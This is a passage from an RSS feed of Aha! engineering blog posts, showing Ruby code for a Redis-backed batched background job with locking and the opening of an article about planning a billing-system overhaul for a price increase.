&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      if&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Redis&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.current.llen(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;self&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.class.data_key) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;        # This is the race condition&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;        # If we are complete, but there is still data in the queue, we need to enqueue a new job to process it&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;        self&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.class.perform_later&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; handle_error&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(exception)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    # Ensure we unlock the job on error&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    lock_strategy.unlock(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;resource:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; lock_key)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    raise&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; exception&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # These arguments can be tweaked or overridden to lock on different criteria or allow&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # some amount of parallelism&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; lock_key_arguments&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    [&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Account&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.current.id]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; build_enumerator&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    # ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; SegmentRefresher&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ApplicationJob&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  include&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; BatchByAccount&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; each_iteration&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(segment_ids)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    # ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Resiliency by default&lt;/h2&gt;
&lt;p&gt;The job itself barely changed but it is now more resilient. By creating some easy-to-reuse patterns, engineers can focus more on their own features instead of worrying about common resiliency problems. We can put energy into making the right choice easy for everyone.&lt;/p&gt;
&lt;p&gt;The final code will look like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; BatchByAccount&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  extend&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; ActiveSupport&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Concern&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  class_methods &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; perform_batch_later&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(data)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      data.each_slice(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |slice|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;        Redis&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.current.rpush(data_key, slice.map(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:id&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      # If the job is already enqueued or running, this will be a no-op&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      perform_later&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; self.data_key&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &quot;SegmentRefresher:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;#{&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Account&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.current.id}&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  included &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    include&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; JobIteration&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Iteration&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    unique &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:until_expired&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;lock_ttl:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 5&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.minutes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    rescue_from(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;StandardError&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;with:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; :handle_error&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    on_shutdown &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      # Ensure than when we are interrupting the job, that we clear the lock so that it can be re-queued&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      lock_strategy.unlock(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;resource:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; lock_key)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    on_complete &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      if&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Redis&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.current.llen(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;self&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.class.data_key) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;        # This is the race condition&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;        # If we are complete, but there is still data in the queue, we need to enqueue a new job to process it&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;        self&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.class.perform_later&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; build_enumerator&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    Enumerator&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |yielder|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      while&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (segment_ids &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Redis&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.current.lpop(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;self&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.class.data_key, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)).any?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        yielder.yield segment_ids, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;nil&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; handle_error&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(exception)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    # Ensure we unlock the job on error&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    lock_strategy.unlock(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;resource:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; lock_key)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    raise&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; exception&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # These arguments can be tweaked or overridden to lock on different criteria or allow&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # some amount of parallelism&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; lock_key_arguments&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    [&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Account&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.current.id]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; SegmentRefresher&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ApplicationJob&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  include&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; BatchByAccount&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; each_iteration&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(segment_ids)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    Segment&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.where(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;id:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; segment_ids).each &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |segement|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      # Refresh the segment&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Sign up for a free trial of Aha! Develop&lt;/h3&gt;
&lt;p&gt;Aha! Develop is a fully extendable agile development tool. Prioritize the backlog, estimate work, and plan sprints. If you are interested in an integrated &lt;a href=&quot;https://www.aha.io/suite-overview&quot;&gt;product development&lt;/a&gt; approach, use &lt;a href=&quot;https://www.aha.io/product/overviewhttps://www.aha.io/product/integrations/develop&quot;&gt;Aha! Roadmaps and Aha! Develop&lt;/a&gt; together. Sign up for a &lt;a href=&quot;https://www.aha.io/trial&quot;&gt;free 30-day trial&lt;/a&gt; or &lt;a href=&quot;https://www.aha.io/live-demo&quot;&gt;join a live demo&lt;/a&gt; to see why more than 5,000 companies trust our software to build lovable products and be happy doing it.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How we launched a smooth billing overhaul]]></title><description><![CDATA[Aha! has evolved significantly over the past several years. What began as a single-product offering is now a suite of world-class product…]]></description><link>https://www.aha.io/engineering/articles/how-we-launched-a-smooth-billing-overhaul</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/how-we-launched-a-smooth-billing-overhaul</guid><dc:creator><![CDATA[Chris Zempel]]></dc:creator><pubDate>Fri, 01 Jul 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Aha! has evolved significantly over the past several years. What began as a single-product offering is now a suite of world-class product development tools. To keep up with our growing userbase, we recently launched an overhaul of our billing system. We dedicated many months to rigorous planning, analyzing, and testing. After all this effort, I was shocked to discover the launch went... &lt;em&gt;perfectly&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;I found myself growing suspicious. We just changed an area with a high amount of essential complexity — surely we missed something. There must be an edge case, some sequence of events that would reveal an issue in our error tracking. What did I miss?&lt;/p&gt;
&lt;p&gt;Instead, we were met with beautiful silence. My skepticism melted and hope fluttered in my stomach.&lt;/p&gt;
&lt;p&gt;I&apos;ve had my share of good and bad rollouts but this one stood out. There were numerous &lt;a href=&quot;https://www.aha.io/blog/celebrate-perfect-moments-at-aha&quot;&gt;perfect moments&lt;/a&gt; during development. My teammates and I were in sync throughout, at times intuitively pushing up commits containing the precise code another had intended to write. Still, I wasn&apos;t prepared for how smoothly our system functioned. It was most profitable code I&apos;ve ever written.&lt;/p&gt;
&lt;h2&gt;Leading up to the launch&lt;/h2&gt;
&lt;p&gt;A program had already run to reach out and familiarize customers with the coming changes in Q3. The date was set: January 1, 2022. We had approximately six months to implement and ship the Price Increase Program.&lt;/p&gt;
&lt;p&gt;We considered our strategy options:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Get to work right away on the existing pieces of our system, updating them to handle price increases.&lt;/li&gt;
&lt;li&gt;Build a new, larger-scale area in our system that could handle price increases, then adapt other parts of our system to use the new one.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Option 2 would save time overall since adapting each piece to handle price increases would be less work than reimplementing variations in each place. But it still felt risky. If we started with the piece of our system that communicated with our billing provider and got price increases working there, we could guarantee that was in place before the launch date. Investing upfront and adapting later meant pulling things together at the last minute and counting on time savings produced early.&lt;/p&gt;
&lt;p&gt;Due to previous exposure to this domain, I knew option 2 would serve the business better — it would be worth the risk. I&apos;m grateful to have been given the agency to pursue what I knew was best.&lt;/p&gt;
&lt;h2&gt;Discovering the environment&lt;/h2&gt;
&lt;p&gt;Coding is not a pursuit of complicated math. It is about striving to identify, understand, and organize the right pieces of the world in our minds. We then produce a corresponding set of patterns that represent these thoughts on a computer. Before diving into any code, you need to understand the environment this code was introduced to operate in. Otherwise it will be hard to know when to apply this advice.&lt;/p&gt;
&lt;p&gt;Aha! hasn&apos;t increased prices since launching in 2013. The task for my team was to implement a 3% annual price increase. Simple, right? Just &lt;code&gt;current_price * 1.03&lt;/code&gt; and voilà!&lt;/p&gt;
&lt;p&gt;Billing systems are endlessly complex. When working with such high essential complexity, it becomes vital to familiarize yourself with what you&apos;re contending with. I researched some helpful blog posts on &lt;a href=&quot;https://arnon.dk/why-you-should-separate-your-billing-from-entitlement/&quot;&gt;separating billing from entitlements&lt;/a&gt; and &lt;a href=&quot;https://getlago.substack.com/p/-why-billing-systems-are-a-nightmare&quot;&gt;why billing systems are a nightmare for engineers&lt;/a&gt;. In our case, we use a billing provider to tackle some of the most common concerns. Typical considerations include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Working with dates&lt;/li&gt;
&lt;li&gt;Prorating&lt;/li&gt;
&lt;li&gt;Upgrades and downgrades&lt;/li&gt;
&lt;li&gt;Corrections&lt;/li&gt;
&lt;li&gt;Pay in advance or arrears&lt;/li&gt;
&lt;li&gt;Dunning and retries&lt;/li&gt;
&lt;li&gt;Usage based&lt;/li&gt;
&lt;li&gt;Taxes and currencies&lt;/li&gt;
&lt;li&gt;Entitlements&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Fortunately we only had to implement the first four above. The others lived in our billing provider just a network request away. In addition to our customers, there&apos;s also internal CRM tooling to consider. We need to generate quotes, track opportunities, and report on the financials that are core to monitoring and maintaining a profitable business.&lt;/p&gt;
&lt;h2&gt;Sequencing the work correctly&lt;/h2&gt;
&lt;p&gt;Once you understand your environment enough, where is the right place to start? To select this, you typically want to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Understand the pieces of the system and how they&apos;re connected.&lt;/li&gt;
&lt;li&gt;Identify the scale they operate on.&lt;/li&gt;
&lt;li&gt;Start with the riskiest piece first.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In our case:&lt;/p&gt;
&lt;h3&gt;The pieces of the system and how they&apos;re connected&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/50639c8e33e39102f2b429ce9f17a55d/system-pieces.jpg&quot; alt=&quot;System Pieces&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;I used this graphic as part of a presentation during the all-company meeting to explain what we were working on.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Identify the scale they operate on&lt;/h3&gt;
&lt;p&gt;Historically each piece maintained its own way of calculating the subset of billing-related data required. This has served us well for a long time. We started with &lt;a href=&quot;https://www.aha.io/roadmaps/overview&quot;&gt;Aha! Roadmaps&lt;/a&gt;, then &lt;a href=&quot;https://www.aha.io/ideas/overview&quot;&gt;Aha! Ideas&lt;/a&gt;, then &lt;a href=&quot;https://www.aha.io/develop/overview&quot;&gt;Aha! Develop&lt;/a&gt;. &lt;a href=&quot;https://www.aha.io/create/overview&quot;&gt;Aha! Create&lt;/a&gt; had not been announced yet.&lt;/p&gt;
&lt;p&gt;Price increases would impact our entire suite. Reimplementing the same logic in each area seemed like an awful lot of work. We began to consider an alternative approach. What if we consolidated the billing calculations into one set of objects that supported the full API surface of the rest of them and also handled price increases? Then the other areas would simply need a way to declare their data into this new, underlying format. We&apos;d be able to leave our tables in place and incrementally roll out support across these areas in priority order. Thus, the idea of the &quot;billing calculator&quot; came into focus as we realized we&apos;d require a slightly larger-scale abstraction.&lt;/p&gt;
&lt;h3&gt;Start with the riskiest piece first&lt;/h3&gt;
&lt;p&gt;One option was to start by rolling out this new billing calculator inside our opportunities. They contain a simpler surface area and only deal with more abstract revenue. It would be a smaller, isolated area to change in our system. However, we opted to focus on quotes first. Quotes encompass every possible transition a customer can make between our plans, deal with proration, and have much more fine-grained needs of a supporting API. This is opposed to records, which deal with more aggregate numbers. Quotes need to break down line items, where an opportunity only cares about the aggregate revenue value of a given record.&lt;/p&gt;
&lt;p&gt;We dove into the most challenging area first. Design for the extremes and the middle will take care of itself.&lt;/p&gt;
